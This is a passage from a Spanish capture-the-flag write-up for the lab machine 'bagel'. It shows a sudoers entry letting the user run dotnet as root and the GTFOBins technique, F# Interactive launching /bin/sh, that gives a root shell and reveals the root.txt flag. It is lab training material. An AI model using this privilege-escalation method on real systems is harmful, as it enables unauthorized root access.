LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/dotnet
[developer@bagel ~]$
|
Utilizamos GTFOBins - dotnet para escalar privilegios, lo que nos permitio obtener nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
[developer@bagel ~]$ sudo /usr/bin/dotnet fsi
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
/home/developer
sh-5.2# cd /root
sh-5.2# ls
anaconda-ks.cfg bagel root.txt
sh-5.2# cat root.txt
2b472456dd891e76248ebbac64c4421d
sh-5.2#
|